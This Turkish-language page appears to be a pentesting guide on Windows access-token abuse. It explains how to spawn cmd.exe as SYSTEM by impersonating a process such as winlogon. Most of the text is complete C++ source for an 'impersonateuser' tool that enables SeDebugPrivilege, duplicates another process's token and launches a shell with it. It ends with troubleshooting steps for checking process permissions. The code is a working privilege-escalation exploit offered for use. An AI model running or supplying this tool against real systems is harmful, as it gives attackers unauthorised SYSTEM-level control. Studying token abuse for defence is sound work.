Aşağıdaki kod buradan alınmıştır. Bir İşlem Kimliğini argüman olarak belirtmenizi sağlar ve belirtilen işlemin kullanıcısı olarak çalışan bir CMD çalıştırılacaktır.
Yüksek Bütünlükte bir işlemde çalışırken, Sistem olarak çalışan bir işlemin PID'sini belirtebilirsiniz (winlogon, wininit gibi) ve cmd.exe'yi sistem olarak çalıştırabilirsiniz.
impersonateuser.exe 1234
impersonateuser.cpp
// From https://securitytimes.medium.com/understanding-and-abusing-access-tokens-part-ii-b9069f432962#include<windows.h>#include<iostream>#include<Lmcons.h>BOOLSetPrivilege(HANDLE hToken, // access token handleLPCTSTR lpszPrivilege, // name of privilege to enable/disableBOOL bEnablePrivilege // to enable or disable privilege){TOKEN_PRIVILEGES tp;LUID luid;if (!LookupPrivilegeValue(NULL, // lookup privilege on local systemlpszPrivilege, // privilege to lookup&luid)) // receives LUID of privilege{printf("[-] LookupPrivilegeValue error: %u\n",GetLastError());return FALSE;}tp.PrivilegeCount =1;tp.Privileges[0].Luid = luid;if (bEnablePrivilege)tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;elsetp.Privileges[0].Attributes =0;// Enable the privilege or disable all privileges.if (!AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES)NULL,(PDWORD)NULL)){printf("[-] AdjustTokenPrivileges error: %u\n",GetLastError());return FALSE;}if (GetLastError() == ERROR_NOT_ALL_ASSIGNED){printf("[-] The token does not have the specified privilege. \n");return FALSE;}return TRUE;}std::stringget_username(){TCHAR username[UNLEN +1];DWORD username_len = UNLEN +1;GetUserName(username,&username_len);std::wstring username_w(username);std::string username_s(username_w.begin(),username_w.end());return username_s;}intmain(int argc,char** argv) {// Print whoami to compare to thread laterprintf("[+] Current user is: %s\n", (get_username()).c_str());// Grab PID from command line argumentchar* pid_c =argv[1];DWORD PID_TO_IMPERSONATE =atoi(pid_c);// Initialize variables and structuresHANDLE tokenHandle =NULL;HANDLE duplicateTokenHandle =NULL;STARTUPINFO startupInfo;PROCESS_INFORMATION processInformation;ZeroMemory(&startupInfo,sizeof(STARTUPINFO));ZeroMemory(&processInformation,sizeof(PROCESS_INFORMATION));startupInfo.cb =sizeof(STARTUPINFO);// Add SE debug privilegeHANDLE currentTokenHandle =NULL;BOOL getCurrentToken =OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,¤tTokenHandle);if (SetPrivilege(currentTokenHandle,L"SeDebugPrivilege", TRUE)){printf("[+] SeDebugPrivilege enabled!\n");}// Call OpenProcess(), print return code and error codeHANDLE processHandle =OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,true, PID_TO_IMPERSONATE);if (GetLastError() ==NULL)printf("[+] OpenProcess() success!\n");else{printf("[-] OpenProcess() Return Code: %i\n", processHandle);printf("[-] OpenProcess() Error: %i\n",GetLastError());}// Call OpenProcessToken(), print return code and error codeBOOL getToken =OpenProcessToken(processHandle, MAXIMUM_ALLOWED,&tokenHandle);if (GetLastError() ==NULL)printf("[+] OpenProcessToken() success!\n");else{printf("[-] OpenProcessToken() Return Code: %i\n", getToken);printf("[-] OpenProcessToken() Error: %i\n",GetLastError());}// Impersonate user in a threadBOOL impersonateUser =ImpersonateLoggedOnUser(tokenHandle);if (GetLastError() ==NULL){printf("[+] ImpersonatedLoggedOnUser() success!\n");printf("[+] Current user is: %s\n", (get_username()).c_str());printf("[+] Reverting thread to original user context\n");RevertToSelf();}else{printf("[-] ImpersonatedLoggedOnUser() Return Code: %i\n", getToken);printf("[-] ImpersonatedLoggedOnUser() Error: %i\n",GetLastError());}// Call DuplicateTokenEx(), print return code and error codeBOOL duplicateToken = DuplicateTokenEx(tokenHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &duplicateTokenHandle);
if (GetLastError() ==NULL)printf("[+] DuplicateTokenEx() success!\n");else{printf("[-] DuplicateTokenEx() Return Code: %i\n", duplicateToken);printf("[-] DupicateTokenEx() Error: %i\n",GetLastError());}// Call CreateProcessWithTokenW(), print return code and error codeBOOL createProcess = CreateProcessWithTokenW(duplicateTokenHandle, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &startupInfo, &processInformation);
if (GetLastError() ==NULL)printf("[+] Process spawned!\n");else{printf("[-] CreateProcessWithTokenW Return Code: %i\n", createProcess);printf("[-] CreateProcessWithTokenW Error: %i\n",GetLastError());}return0;}
Hata
Bazı durumlarda System olarak taklit etmeye çalıştığınızda, aşağıdaki gibi bir çıktı göstererek çalışmayabilir:
Bu, Yüksek Bütünlük seviyesinde çalışıyor olsanız bile yeterli izinlere sahip olmadığınız anlamına gelir.
svchost.exe süreçleri üzerindeki mevcut Yönetici izinlerini processes explorer ile kontrol edelim (veya process hacker da kullanabilirsiniz):
svchost.exe sürecini seçin
Sağ Tık --> Özellikler
"Güvenlik" sekmesinin içinde sağ altta "İzinler" butonuna tıklayın
"Gelişmiş"e tıklayın
"Yöneticiler"i seçin ve "Düzenle"ye tıklayın
"Gelişmiş izinleri göster"e tıklayın
Önceki resim, "Yöneticiler"in seçilen süreç üzerindeki tüm ayrıcalıklarını içerir (gördüğünüz gibi svchost.exe durumunda yalnızca "Sorgulama" ayrıcalıklarına sahiptirler)
winlogon.exe üzerindeki "Yöneticiler"in sahip olduğu ayrıcalıkları görün:
Bu süreç içinde "Yöneticiler" "Belleği Oku" ve "İzinleri Oku" yetkisine sahiptir, bu da muhtemelen Yöneticilerin bu süreç tarafından kullanılan belirteci taklit etmelerine olanak tanır.